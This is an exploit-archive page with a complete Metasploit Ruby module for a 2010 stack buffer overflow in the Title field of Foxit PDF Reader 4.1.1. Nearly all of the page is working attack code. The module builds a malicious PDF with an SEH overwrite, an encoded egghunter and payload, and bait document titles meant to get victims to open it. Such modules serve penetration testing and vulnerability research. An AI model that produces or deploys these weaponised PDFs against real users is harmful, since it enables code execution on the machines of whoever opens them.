exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow

Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow
Posted Nov 23, 2010
Authored by corelanc0d3r, jduck, dookie | Site metasploit.com

This Metasploit module exploits a stack buffer overflow in Foxit PDF Reader prior to version 4.2.0.0928. The vulnerability is triggered when opening a malformed PDF file that contains an overly long string in the Title field. This results in overwriting a structured exception handler record. NOTE: This exploit does not use javascript.

tags | exploit, overflow, javascript
advisories | OSVDB-68648
SHA-256 | b07f351411d99f75f345a772bc24aa52c70ef746199fb1964b1d843455480d94

Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow

Change Mirror Download
##
# $Id: foxit_title_bof.rb 11096 2010-11-22 17:43:42Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::PDF
include Msf::Exploit::Egghunter
#include Msf::Exploit::Seh # unused due to special circumstances

def initialize(info = {})
super(update_info(info,
'Name' => 'Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Foxit PDF Reader prior to version
4.2.0.0928. The vulnerability is triggered when opening a malformed PDF file that
contains an overly long string in the Title field. This results in overwriting a
structured exception handler record.

NOTE: This exploit does not use javascript.
},
'License' => MSF_LICENSE,
'Version' => "$Revision: 11096 $",
'Author' =>
[
'dookie', # Discovered the bug
'Sud0', # Original exploit (from Offsec Exploit Weekend)
'corelanc0d3r', # Metasploit exploit
'jduck' # Metasploit-fu
],
'References' =>
[
#[ 'CVE', '' ],
[ 'OSVDB', '68648' ],
[ 'URL', 'http://www.exploit-db.com/exploits/15532' ],
[ 'URL', 'http://www.corelan.be:8800/index.php/2010/11/13/offensive-security-exploit-weekend/' ]
],
'Payload' =>
{
'BadChars' => "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x2F\x5c\x3c\x3e\x5e\x7e",
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'EncoderOptions' =>
{
'BufferRegister' => 'EDI', # egghunter jmp edi
}
},
'Platform' => 'win',
'Targets' =>
[
[ 'Foxit Reader v4.1.1 XP Universal', { 'Offset' => 540, 'Ret' => "\x4B\x6A" } ] #unicode p/p/r foxit reader.exe
],
'DisclosureDate' => 'Nov 13 2010',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ false, 'The output filename.', 'corelan_foxit.pdf']),
OptString.new('OUTPUTPATH', [ false, 'The location to output the file.', './data/exploits/'])
], self.class)
end

def exploit
@label = rand_text_alpha(7)

nseh = "\x5A\x41" # pop edx -- to make edx writable
seh = target['Ret']

# inc ecx / pop esp / popad / push esp / ret
align = "\x41\x61\x5C\x5C\x41\x61\x41\x54\x41\xC3"
ecx_control = "\xB3\x30\xB3" # becomes ecx

hunter, @egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })

# Encode with alphamixed, then unicode mixed
[ 'x86/alpha_mixed', 'x86/unicode_mixed' ].each { |name|
enc = framework.encoders.create(name)
if name =~ /unicode/
enc.datastore.import_options_from_hash({ 'BufferRegister' => 'ESP' })
else
enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EDX' })
end
# NOTE: we already eliminated badchars
hunter = enc.encode(hunter, nil, nil, platform)
if name =~/alpha/
#insert getpc_stub & align EDX, unicode encoder friendly.
#Hardcoded stub is not an issue here because it gets encoded anyway
getpc_stub = "\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35"
hunter = getpc_stub + hunter
end
}
#tweak hunter, patched to make it write to ECX
hunter[1] = "a"

doctitles = [
"Confidential : Contract + Terms of Use",
"Contract information",
"Acquisition contract",
"...loading, please wait...",
"Trademark, patent and copyright information",
"Limited Liability Partnership",
"Partnership agreement",
"Last will and testament",
"How to hack gmail",
"Running Metasploit on Windows Mobile",
"Free torrent sites",
"Lady Gaga naked",
"Free Shopping vouchers"
]

sploit = ''
sploit << doctitles[rand(doctitles.length)]
sploit << " " * (target['Offset'] - sploit.length)
sploit << nseh << seh
sploit << align
sploit << ecx_control
sploit << hunter

file_create(make_pdf(sploit))
end

# Override the mixin obfuscator since it doesn't seem to work here.
def nObfu(str)
return str
end

def trailer(root_obj)
ret = 'trailer'
ret << nObfu("<</Size %d/Root " % (@xref.length + 1)) << ioRef(root_obj)
ret << nObfu("/Info ") << ioRef(5)
ret << nObfu("/#{@label} #{@egg}")
ret << nObfu(">>")
ret << eol
ret
end

def make_pdf(sploit)
@pdf << header('1.4')

add_object(1, nObfu("<</ViewerPreferences<</DisplayDocTitle true>>/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/Type/Catalog/Lang(en-US)>>"))
add_object(2, nObfu("<</Type/Outlines/Count 0>>"))
add_object(3, nObfu("<</Count 1/Type/Pages/Kids[") << ioRef(4) << nObfu("]>>"))
add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>"))
add_object(5, nObfu("<</Title (") + sploit + nObfu(")>>"))

finish_pdf
end

end
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    0 Files
  • 10
    May 10th
    0 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close